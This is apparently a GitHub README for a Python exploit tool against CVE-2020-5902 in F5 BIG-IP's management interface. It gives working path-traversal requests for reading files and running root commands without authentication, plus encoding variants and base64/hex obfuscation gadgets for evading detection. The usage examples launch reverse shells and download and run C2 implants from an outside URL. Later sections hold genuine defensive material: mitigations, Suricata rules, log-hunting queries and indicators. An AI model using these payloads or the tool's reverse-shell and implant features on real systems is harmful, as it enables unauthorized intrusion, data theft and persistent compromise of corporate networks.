
O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.
Preuve de concept pour la vulnérabilité critique de traversée de chemin / exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) de F5 BIG-IP.
⚠️ Réservé aux tests d'intrusion autorisés et à la recherche en sécurité. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'usage abusif de cet outil.
F5 BIG-IP est une famille d'appareils réseau polyvalents (équilibreurs de charge, WAF, contrôleurs de diffusion d'applications) déployée dans la majorité des entreprises du Fortune 500, des institutions financières, des organismes de santé et des agences gouvernementales dans le monde entier. L'interface utilisateur de gestion du trafic (TMUI) — également appelée utilitaire de configuration — est le portail de gestion web accessible sur le port 443 (ou 8443).
En juillet 2020, F5 a divulgué CVE-2020-5902, une vulnérabilité de traversée de chemin Critique (CVSS 9.8) non authentifiée dans TMUI qui permet à un attaquant distant non authentifié de :
En quelques jours après la divulgation publique, une exploitation massive a été observée, y compris par des acteurs étatiques.
TMUI est construit sur Apache Tomcat et utilise un filtre de servlet pour imposer l'authentification sur les ressources protégées. La vulnérabilité réside dans la façon dont Tomcat analyse les segments de chemin délimités par un point-virgule (;).
La requête suivante contourne complètement l'authentification :
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Pourquoi cela fonctionne :
/tmui/login.jsp (se termine avant ;) — qui est la page de connexion publique — et autorise la requête./..;/ comme une traversée de chemin (/../) avant la distribution.fileRead.jsp sans authentification.┌──────────────────────────────────────────────────────────────────┐
│ Requête client │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Filtre de servlet Tomcat │
│ Voit : /tmui/login.jsp ✓ │
│ (point d'accès public → AUTORISER) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Résolveur d'URL Tomcat │
│ Résout : /..;/ → /../ │
│ Chemin final : /tmui/locallb/│
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (pas de vérification) │
│ Lit des fichiers arbitraires en root│
└───────────────────────────────┘
Le servlet tmshCmd.jsp (également accessible via la même traversée) transmet les paramètres command et utilCmdArgs directement à tmsh (le shell de gestion BIG-IP), qui exécute run util bash -c '...'. Cela permet une exécution de commandes OS de niveau root sans authentification :
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1 : Reconnaissance
└─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
└─ Analyse du certificat SSL
└─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
└─ Estimation de la version BIG-IP à partir de /etc/f5-release
Phase 2 : Vérification de la vulnérabilité
└─ Itération sur 6 variantes de codage de traversée
└─ Test sur 4 fichiers sentinelles connus lisibles
└─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)
Phase 3 : Exploitation
├─ Vecteur A : tmshCmd.jsp (RCE principal)
│ └─ Commande obscurcie via gadgets base64 / hex-encode
├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
│ └─ Commande OS injectée dans le paramètre fileName
└─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)
Phase 4 : Post-exploitation (optionnel)
├─ Shell interactif (REPL de commande)
├─ Shell inverse (4 one-liners simultanés)
├─ Force brute LFI (30 chemins sensibles, parallèle)
└─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)
L'outil applique l'un des deux gadgets d'obscurcissement par exécution, rendant la détection par signature statique plus difficile :
# Gadget 1 — Pipeline d'encodage/décodage Base64
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Évaluation printf hexadécimale
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS et Traffix SDC ne sont pas concernés par cette CVE spécifique.
!revshell, !c2, !read, !brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Prérequis : Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vérification de vulnérabilité uniquement
python CVE-2020-5902.py 192.168.1.100
# 2. Port personnalisé + exécution d'une seule commande
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Shell interactif
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. Force brute LFI (lit 30 chemins sensibles)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Récupération de shell inverse
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Déploiement d'un implant C2 (exemple Sliver)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Routage via Burp Suite pour inspection du trafic
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
En mode --shell, les commandes spéciales suivantes sont disponibles :
La mesure d'atténuation la plus efficace est de s'assurer que l'interface de gestion n'est jamais accessible depuis des réseaux non fiables :
# BIG-IP : restreindre l'accès à la gestion à une VLAN/plage IP dédiée
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
Alternativement, depuis la configuration Self IP de BIG-IP, assurez-vous que le port de gestion n'a pas de route externe.
F5 a publié un script d'atténuation qui ajoute une règle RewriteRule Apache pour bloquer le motif de traversée :
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Référence : K52145254 — Étapes d'atténuation
La correction définitive consiste à mettre à niveau BIG-IP vers une version corrigée (voir le tableau Versions concernées). F5 a corrigé la logique du filtre de servlet pour analyser correctement les segments de chemin délimités par un point-virgule avant l'application de l'authentification.
┌────────────────────────────────────────────────────────────────┐
│ ARCHITECTURE RECOMMANDÉE │
│ │
│ Internet ──────► Pare-feu ──────► DMZ / Production │
│ │ │
│ │ (REFUSER tout trafic vers ports de gestion)│
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (VLAN de gestion uniquement)│
└────────────────────────────────────────────────────────────────┘
Principes clés :
Allow None ou Allow DefaultsSi un WAF se trouve devant la gestion BIG-IP (inhabituel mais possible dans certaines architectures), ajoutez des règles pour bloquer :
; dans le chemin URL..; ou %3b dans les segments de chemin/tmui/locallb/workspace/ depuis des sources non liées à la gestion[ ] BIG-IP mis à jour vers une version corrigée
[ ] TMUI non exposé à Internet (vérifier avec Shodan/Censys)
[ ] VLAN de gestion séparée de la production
[ ] Verrouillage des ports Self IP configuré (Allow None ou Allow Defaults)
[ ] MFA appliquée sur l'accès à la gestion
[ ] Inventaire logiciel BIG-IP dans le système de gestion des actifs
[ ] Scan de vulnérabilité automatisé (Tenable/Qualys) inclut BIG-IP
[ ] Transfert de logs vers SIEM configuré (access_log, audit.log)
[ ] Segmentation réseau : un BIG-IP compromis ne peut pas atteindre les contrôleurs de domaine
[ ] Playbook de réponse aux incidents inclut le scénario de compromission d'équipement réseau
# Détection des tentatives de traversée de chemin (contournement par point-virgule)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Détection de la variante avec point-virgule encodé
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Rechercher les tentatives de traversée dans les logs d'accès BIG-IP
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Rechercher les accès réussis aux endpoints vulnérables
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
Motifs d'URL :
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Objectifs fréquents des attaquants (fichiers consultés) :
/etc/passwd — collecte d'identifiants
/config/bigip.conf — exfiltration de configuration VPN/routage
/config/bigip.license — vol de clé de licence
/config/bigip_user.conf — énumération des comptes administrateurs locaux
/root/.bash_history — reconnaissance de commandes historiques
http.title:"BIG-IP" port:443Cet outil est fourni à des fins éducatives et pour des évaluations de sécurité autorisées uniquement. Il est destiné à :
Utiliser cet outil contre des systèmes sans autorisation écrite explicite est une infraction pénale en vertu du Computer Fraud and Abuse Act (CFAA), du UK Computer Misuse Act, de la loi brésilienne n° 12.737/2012 (Lei Carolina Dieckmann) et des lois équivalentes dans la plupart des juridictions mondiales.
L'auteur et les contributeurs de ce dépôt n'acceptent aucune responsabilité pour les dommages, conséquences juridiques ou autres préjudices résultant d'un usage abusif de ce logiciel.
Conçu pour la communauté de la recherche en sécurité. Corrigez vos systèmes. Protégez vos réseaux.
| Variante | Charge utile |
|---|
| Standard | tmui/login.jsp/..;/tmui/... |
| Point-virgule encodé | tmui/login.jsp/..%3b/tmui/... |
| Double encodage URL | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Points unicode | tmui/login.jsp/%2e%2e;/tmui/... |
| Variation de casse | TMUI/login.jsp/..;/tmui/... |
| Confusion de répertoire | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| Branche BIG-IP | Plage vulnérable | Version corrigée |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Commande | Description |
|---|
!revshell <lhost> <lport> | Déclenche 4 variantes de shell inverse simultanément |
!c2 <url> <type> [args] | Télécharge et exécute un implant C2 |
!read <path> | Lit un fichier arbitraire via LFI |
!brute | Force brute sur 30 chemins sensibles |
!exit | Termine la session |
<toute commande OS> | Exécute via RCE et affiche la sortie |
| Date | Événement |
|---|
| 2020-06-30 | F5 notifié en privé |
| 2020-07-01 | F5 publie l'avis (K52145254) et les correctifs |
| 2020-07-03 | PoC public publié sur Twitter |
| 2020-07-04 | Exploitation massive observée par plusieurs firmes de renseignement sur les menaces |
| 2020-07-06 | CISA publie la directive d'urgence 20-03 imposant le correctif fédéral |
| 2020-07-09 | Acteurs étatiques (APT) confirmés exploitant la vulnérabilité dans la nature |
| 2020-07-15 | Environ 8 000 instances BIG-IP encore non corrigées (Shodan) |
| 2020-08-xx | Des groupes de ransomware commencent à cibler les équipements BIG-IP non corrigés |